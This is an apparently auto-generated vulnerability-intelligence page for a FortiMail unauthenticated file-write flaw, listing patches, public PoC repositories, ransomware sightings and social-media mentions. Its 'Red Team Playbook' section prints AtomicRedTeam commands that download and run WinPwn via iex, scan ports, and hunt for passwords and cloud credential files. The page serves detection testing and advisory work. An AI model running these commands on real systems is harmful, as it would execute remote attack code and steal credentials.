CVE-2026-104286
Overview
This vulnerability is a path traversal flaw caused by improper validation of pathname inputs within Fortinet FortiMail. The affected component fails to restrict access to directories, allowing crafted HTTP or HTTPS requests to manipulate file paths beyond intended boundaries. This weakness exists in FortiMail versions 7.2.0 through 7.2.9, 7.4.0 through 7.4.8, 7.6.0 through 7.6.6, and 8.0.0 through 8.0.1, specifically in the web interface handling of file operations.
Vulnerability Description
An improper limitation of a pathname to a restricted directory ('path traversal') vulnerability in Fortinet FortiMail 8.0.0 through 8.0.1, FortiMail 7.6.0 through 7.6.6, FortiMail 7.4.0 through 7.4.8, FortiMail 7.2.0 through 7.2.9, FortiMail 7.0 all versions may allow an unauthenticated attacker to write arbitrary files on the underlying system via crafted HTTP or HTTPS requests.
Impact
An unauthenticated attacker can exploit this vulnerability to write arbitrary files on the FortiMail system, potentially leading to remote code execution or system compromise. This unauthorized file write capability enables attackers to implant malicious scripts or overwrite critical configuration files, resulting in full control over the device. No credentials or user interaction are necessary, allowing remote exploitation. The business impact includes potential data breaches, disruption of email security services, and lateral movement within the network.
Solution
Fortinet has released security updates addressing this path traversal vulnerability in FortiMail versions 7.2.10, 7.4.9, 7.6.7, and 8.0.2. Administrators should apply these patches immediately. Detailed patch instructions and advisory information are available at Fortinet's PSIRT page: https://fortiguard.fortinet.com/psirt/FG-IR-26-175. No specific workarounds are documented; timely application of vendor updates is recommended.
EPSS vs KEV Prediction — Evolution (30 days)
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Fortinet | Fortimail | All |
cpe:2.3:a:fortinet:fortimail:*:*:*:*:*:*:*:*
|
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
GitHub PoCs (10)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
CompleteTech-Security/fortimail-cve-2026-104286-check
Offline FortiMail evidence checker for CVE-2026-104286. FortiMail version and deployment evidence. Standalone Python; JS...
|
CompleteTech-Security | 0 | 1 | 2026-10-23 | View |
|
kh20134/fortimail-cve-2026-104286-response
FortiMail CVE-2026-104286 (CVSS 9.8) 점검·대응 도구 (버전 확인, IoC 점검, 완화·패치 체크리스트)
|
kh20134 | 0 | 1 | 2026-10-10 | View |
|
PoC
|
- | 0 | 0 | - | View |
|
maxprog-svg/CVE-2026-104286
Exploit for CVE-2026-104286 — FortiMail: Unauthenticated Arbitrary File Write → Code Execution
|
maxprog-svg | 0 | 0 | 2026-10-29 | View |
|
CompleTech-Security/fortimail-cve-2026-104286-check
Offline FortiMail evidence checker for CVE-2026-104286. FortiMail version and deployment evidence. Standalone Python; JS...
|
CompleTech-Security | 0 | 0 | 2026-10-23 | View |
|
CompleTetech-Security/fortimail-cve-2026-104286-check
Offline FortiMail evidence checker for CVE-2026-104286. FortiMail version and deployment evidence. Standalone Python; JS...
|
CompleTetech-Security | 0 | 0 | 2026-10-23 | View |
|
completetech-security/fortimail-cve-2026-104286-check
Standalone defensive checker project for CVE-2026-104286: Fortinet FortiMail: Path traversal / NULL-byte arbitrary file ...
|
completetech-security | 0 | 0 | 2026-10-23 | View |
|
0xREBYTE/CVE-2026-104286-PoC
PoC CVE-2026-104286 FortiMail
|
0xREBYTE | 0 | 0 | 2026-10-11 | View |
|
techupdate24/fortimail-zero-day-cve-2026-104286
A complete guide and workflow for integrating Agile sprints with DevOps CI/CD pipelines.
|
techupdate24 | 0 | 0 | 2026-10-02 | View |
|
ShadowForge-Cyber/CVE-2026-104286-POC
|
ShadowForge-Cyber | 0 | 0 | 2026-10-01 | View |
Ransomware Groups 4
Threat Feed
29 eventsSighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Ransomware group known to exploit this vulnerability. Tools: Cobalt Strike, EDRSandBlast, EasyUpload.io, Evilginx, Kali Linux (2541 known victims)
Ransomware group known to exploit this vulnerability. Tools: Advanced IP Scanner, Advanced Port Scanner, AnyDesk, Bloodhound, Cloudflared (1658 known victims)
Ransomware group known to exploit this vulnerability. Tools: Acronis Disk Director, Angry IP Scanner, AnyDesk, Atera, BITSAdmin (842 known victims)
Ransomware group known to exploit this vulnerability. Tools: Advanced IP Scanner, Mimikatz, PingCastle, SoftPerfect NetScan (667 known victims)
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Ransomware group known to exploit this vulnerability. Tools: Cobalt Strike, EDRSandBlast, EasyUpload.io, Evilginx, Kali Linux (2541 known victims)
Ransomware group known to exploit this vulnerability. Tools: Advanced IP Scanner, Advanced Port Scanner, AnyDesk, Bloodhound, Cloudflared (1658 known victims)
Ransomware group known to exploit this vulnerability. Tools: Acronis Disk Director, Angry IP Scanner, AnyDesk, Atera, BITSAdmin (842 known victims)
Ransomware group known to exploit this vulnerability. Tools: Advanced IP Scanner, Mimikatz, PingCastle, SoftPerfect NetScan (667 known victims)
Ransomware group known to exploit this vulnerability
Sighting activity recorded
CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog
Proof-of-concept code is publicly available for this vulnerability
Active exploitation confirmed with 166 sighting(s)
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
49 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
nmap #{host_to_scan}
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
nmap -Pn -sV -p #{port_range} #{host}
python "#{filename}" -i #{host_ip}
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
$ip_list = $ipAddr -split ","
$ip_list = $ip_list.ForEach({ $_.Trim() })
Write-Host "[i] IP Address List: $ip_list"
$ports = #{port_list}
foreach ($ip in $ip_list) {
foreach ($port in $ports) {
Write-Host "[i] Establishing connection to: $ip : $port"
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} elseif ($ipAddr -notlike "*,*") {
if ($ipAddr -eq "") {
# Assumes the "primary" interface is shown at the top
$interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
Write-Host "[i] Using Interface $interface"
$ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
}
Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
$subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
# Always assumes /24 subnet
Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"
$ports = #{port_list}
$subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }
foreach ($ip in $subnetIPs) {
foreach ($port in $ports) {
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} else {
Write-Host "[Error] Invalid Inputs"
exit 1
}
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
& "#{rustscan_path}" -a #{host_to_scan} --greppable -p #{port_list}
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
echo "Creating %systemroot%\wpbbin.exe"
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
for pid in $(pgrep -f 'Runner.Worker|Runner.Listener|runsvc|run.sh' 2>/dev/null); do tr '\0' '\n' < /proc/$pid/environ 2>/dev/null | grep -iE 'env|ssh'; done
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path} -maxdepth 6 -name "#{filename}" -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.aws/#{filename}' -type f 2>/dev/null
find #{file_path} -path '*/.azure/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.docker/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.config/gcloud/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find /root -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
find /etc/kubernetes -name '*.conf' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for filename in #{filenames}; do find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null; done
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
for filename in #{filenames}; do
find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null
done
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find /etc/mysql -name 'my.cnf' -type f #{optional_flags} 2>/dev/null
find /etc/redis -name 'redis.conf' -type f #{optional_flags} 2>/dev/null
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
News (2)
Mentions (9)
0 mentions from 0 sources in the last 7 days BuzzFactor 0 / 100
-
social bsky.app @getpokemon7.bsky.social 2026-11-04 13:44 UTC「FortiMail」のアップデートが提供開始 - ゼロデイ脆弱性を修正 Fortinetのメールセキュリティ製品「FortiMail」に脆弱性「CVE-2026-104286」が存在し、ゼロデイ攻撃が発生している問題で、同社はアップデートの提供を開始した。 「CVE-2026-104286」は、細工したHTTPリクエストにより、認証を必要とすることなくシステム上へ任意のファイルを書き込むことが可能となる脆弱性。 同社は現地時間2026年10月1日、セキュリティアドバイザリ…Open source
-
social bsky.app @getpokemon7.bsky.social 2026-11-04 12:50 UTC米当局、脆弱性4件を「悪用脆弱性リスト」に追加 - 早期対応を要請 米サイバーセキュリティインフラストラクチャセキュリティ庁(CISA)は、現地時間2026年10月1日から4日にかけて脆弱性4件を「悪用が確認された脆弱性カタログ(KEV)」へ追加した。 対象となるのは、「FortiMail」「Zammad」「NetScaler ADC」「NetScaler Gateway」で、脆弱性はあわせて4件。具体的に見ると、10月1日には、Fortinetの「FortiMail」にお…Open source
-
social bsky.app @runbooklab.bsky.social 2026-11-04 10:39 UTCKEV catch-up: FortiMail CVE-2026-104286 (unauth file write; 7.2 has no fix, turn off IBE) and N-central CVE-2026-86218 (pre-auth RCE). Do this: check versions, upgrade. Check: N-central 2026.3.1.14+ Source: FG-IR-26-175, N-able, CISA KEV r…Open source
-
social bsky.app @getpokemon7.bsky.social 2026-11-01 19:35 UTCFortinet FortiMailのゼロデイ脆弱性が悪用され、緊急対策が求められる CVE-2026-104286(CVSSスコア9.8)として追跡されているこのゼロデイ脆弱性は、パス・トラバーサルとNULLバイトまたはNULL文字の不適切な無効化の欠陥であり、攻撃者が基盤となるシステムに任意のファイルを書き込むことを可能にする可能性があります。 攻撃者は、細工されたHTTPまたはHTTPSリクエストを介してこの脆弱性を悪用し、任意のコードやコマンドの実行権限を取得する可…Open source
-
social bsky.app @getpokemon7.bsky.social 2026-11-01 19:31 UTC米国サイバーセキュリティ・インフラストラクチャセキュリティ庁(CISA)が、Fortinet FortiMailの脆弱性を既知の悪用された脆弱性リストに追加 米国のサイバーセキュリティ・インフラストラクチャセキュリティ庁(CISA) は、Fortinet FortiMailの脆弱性(CVE-2026-104286、CVSSスコア9.8)を、既知の悪用された脆弱性(KEV)カタログに追加しました。 この脆弱性は、特別に細工されたHTTPまたはHTTPSリクエストによって引き起…Open source
-
social bsky.app @getpokemon7.bsky.social 2026-11-01 19:30 UTCFortiMailの重大なゼロデイ脆弱性が悪用され、認証なしで任意のファイル書き込みが可能になる攻撃が発生 米国のサイバーセキュリティ・インフラストラクチャセキュリティ庁(CISA)は木曜日、Fortinet FortiMailに影響を与える重大なセキュリティ上の欠陥を、実際に悪用されているとの報告を受け、既知の悪用脆弱性( KEV)カタログに追加した。 CVE-2026-104286(CVSSスコア:9.8)として追跡されているこの脆弱性により、認証されていない攻撃者が基…Open source
-
social bsky.app @getpokemon7.bsky.social 2026-11-01 19:29 UTCFortinet FortiMailのパス・トラバーサル脆弱性が悪用され、サーバーが侵害される Fortinetは、FortiMailに存在する重大な脆弱性を公表しました。攻撃者はこの脆弱性を悪用し、脆弱なメールセキュリティ機器を侵害しようと積極的に活動しています。 この脆弱性(CVE-2026-104286)は、CVSS v3.1スコアが9.8です。この脆弱性により、認証されていない攻撃者が、特別に細工されたHTTPまたはHTTPSリクエストを介して、基盤となるシステムに…Open source
-
social bsky.app @getpokemon7.bsky.social 2026-11-01 19:27 UTC「FortiMail」に深刻なゼロデイ脆弱性 - 悪用が報告、修正版は準備中 Fortinetが提供するメールセキュリティ製品「FortiMail」に深刻な脆弱性が明らかとなった。ゼロデイ攻撃に悪用されているとの報告もあり、同社では修正版の準備を進めるとともに、回避策の実施を呼びかけている。 Fortinetが現地時間2026年10月1日にセキュリティアドバイザリを公開し、グラフィカルユーザーインタフェースのコンポーネントに確認された脆弱性「CVE-2026-104286」…Open source
-
social bsky.app @getpokemon7.bsky.social 2026-11-01 19:26 UTCCISA Adds One Known Exploited Vulnerability to Catalog Release Date October 01, 2026 CVE-2026-104286 Fortinet FortiMail Path Traversal VulnerabilityOpen source
References (3)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2026-104286 |
| fortiguard.fortinet.com |
GitHub CVE
|
https://fortiguard.fortinet.com/psirt/FG-IR-26-175 |
| cisa.gov |
NVD API
|
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-104286 |